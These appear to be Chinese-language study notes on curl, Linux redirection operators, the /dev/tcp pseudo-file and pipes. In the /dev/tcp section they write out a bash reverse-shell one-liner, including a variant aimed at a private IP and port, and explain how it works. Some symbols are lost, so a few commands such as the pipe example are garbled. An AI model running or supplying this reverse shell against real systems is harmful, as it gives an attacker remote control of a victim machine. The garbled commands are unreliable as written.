 #curl是一种命令行工具,作用是发出网络请求,然后得到和提取数据。
 #我们直接在curl命令后加上网址,就可以看到网页源码。
 $ curl www.baidu.com
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                  Dload  Upload   Total   Spent    Left  Speed
 100  2381  100  2381    0     0  20350      0 --:--:-- --:--:-- --:--:-- 20350<!DOCTYPE html>
 <!--STATUS OK--><html> <head><meta http-equiv=content-type content=text/html;charset=utf-8><meta http-equiv=X-UA-Compatible content=IE=Edge><meta content=always name=referrer>
    ......
     
     
  </html>
 #curl 默认是不进行重定向的。如果要进行重定向,我们需要加上-L参数
 curl -L taobao.com
 #加上 -o 参数可以保存网页源代码到本地
 curl -o taobao.txt taobao.com -L
 #加上-i参数可以看到响应报文
 curl -i baidu.com
 $ curl -i baidu.com
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                  Dload  Upload   Total   Spent    Left  Speed
 100    81  100    81    0     0    627      0 --:--:-- --:--:-- --:--:--   627HTTP/1.1 200 OK
 Server:
 Date: Wed, 25 Mar 2020 16:00:02 GMT
 Content-Type: text/html
 Content-Length: 81
 Connection: keep-alive
 Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
 ETag: "51-47cf7e6ee8400"
 Accept-Ranges: bytes
 ​
 <html>
 <meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
 </html>

linux中重定向

重定向指用户用文件代替标准输入,标准输出,标准错误输出

注:Linux 中标准的输入设备默认指的是键盘,标准的输出设备默认指的是显示器。

方式

代码

运算符

标准输入(stdin)

0

< or <<

标准输出(stdout)

1

> or >>

标准错误输出(stderr)

2

2> or 2<

输入重定向
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 #{ 默认情况下,cat 命令会接受标准输入设备(键盘)的输入,并显示到控制台,但如果用文件代替键盘作为输入设备,那么该命令会以指定的文件作为输入设备,并将文件中的内容读取并显示到控制台。 }
 e.g:
 1.cat index.php > index2.php  
 #将index.php的内容放到index2.php(自动创建)中
 ​
 2.cat > index.php
 ...
 #直接将该内容替换index.php中原有内容
 ​
 3.cat >> index.php
 ...
 #将该内容加在原内容后面
 ​
 4.cat > test2.txt < test.txt
 #把test.txt内容加到test2.txt中并输出
输出重定向

相较于输入重定向,我们使用输出重定向的频率更高。并且,和输入重定向不同的是,输出重定向还可以细分为标准输出重定向错误输出重定向两种技术。

在此基础上,标准输出重定向和错误输出重定向又分别包含清空写入追加写入两种模式。因此,对于输出重定向来说,其需要用到的符号以及作用如图。

命令符号格式

作用

命令 > 文件

将命令执行的标准输出结果重定向输出到指定的文件中,如果该文件已包含数据,会清空原有数据,再写入新数据。

命令 2> 文件

将命令执行的错误输出结果重定向到指定的文件中,如果该文件中已包含数据,会清空原有数据,再写入新数据。

命令 >> 文件

将命令执行的标准输出结果重定向输出到指定的文件中,如果该文件已包含数据,新数据将写入到原有内容的后面。

命令 2>> 文件

将命令执行的错误输出结果重定向到指定的文件中,如果该文件中已包含数据,新数据将写入到原有内容的后面。

命令 >> 文件 2>&1 或者 命令 &>> 文件

标准输出或者错误输出写入到指定文件,如果该文件中已包含数据,新数据将写入到原有内容的后面。注意,第一种格式中,最后的 2>&1 是一体的,可以认为是固定写法。

linux重定向中&>>&是一个意思,是“复制一个文件描述符”的意思。

特殊文件: /dev/tcp(dd)

/dev/tcp不是磁盘里的文件,而是bash的一个功能

1
2
3
4
5
6
7
8
 反弹shell命令:bash -i >& /dev/tcp/ip/port 0>&1
 url:https://blog.csdn.net/Auuuuuuuu/article/details/89059176
 就是说,攻击机的标准输入重定向到靶机的标准输出。
 bash -i < /dev/tcp/ip/port
 再把靶机的这个标准输出作为输入,命令执行后把结果作为标准输入重定向到攻击机中作为标准输出
  bash i > /dec/tcp/192.168.25.144/8888
  两者结合得到
  bash -i > /dev/tcp/ip/port 0>&1

linux中的一个特殊文件: /dev/tcp ,打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

/dev/[tcpupd]/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口。如果主机以及端口存在,就建立一个socket 连接。将在,/proc/self/fd目录下面,有对应的文件出现。

管道符

命令连接符

注意这里连接符的 跟管道符 不一样

管道符 详解

管道符也是一种重定向操作符。

作用

管道符主要用于多重命令处理,前面命令的打印结果作为后面命令的输入。简单点说就是,就像工厂的流水线一样,进行完一道工序后,继续传送给下一道工序处理…

用法

使用管道操作符“”可以把一个命令的标准输出传送到另一个命令的标准输入中,连续的意味着第一个命令的输出为第二个命令的输入,第二个命令的输入为第一个命令的输出,依次类推。

最常用的就是配合grep来使用:

ps -ef grep pycharm

ps是进程查看命令,其中-e为显示所有进程,-f为全格式显示。

grep是一个非常高效的查询工具,可以查询文本中带有某关键字的行。

这个命令的功能是,查询带有关键字 pycharm 的进程。会一条一条列出。

但不是所有的命令都能搭配管道符:

1
2
3
 例如cat、sort、uniq、grep等命令均支持管道符,是因为这些命令均可从标准输入中读取要处理的文本(即从标准输入中读取参数);而对于部分命令,例如rm、kill等命令则不支持从标准输入中读取参数,只支持从命令行中读取参数(即rm命令后面必须指定删除的文件或者目录,kill命令后面必须要指定杀死的进程号等)
 那什么样的命令支持管道,什么样的命令不支持管道呢?
 一般情况下,处理文本的命令,例如sort、uniq、grep、awk、sed等命令均支持管道;像rm、ls这类的不是处理文本的命令均不支持管道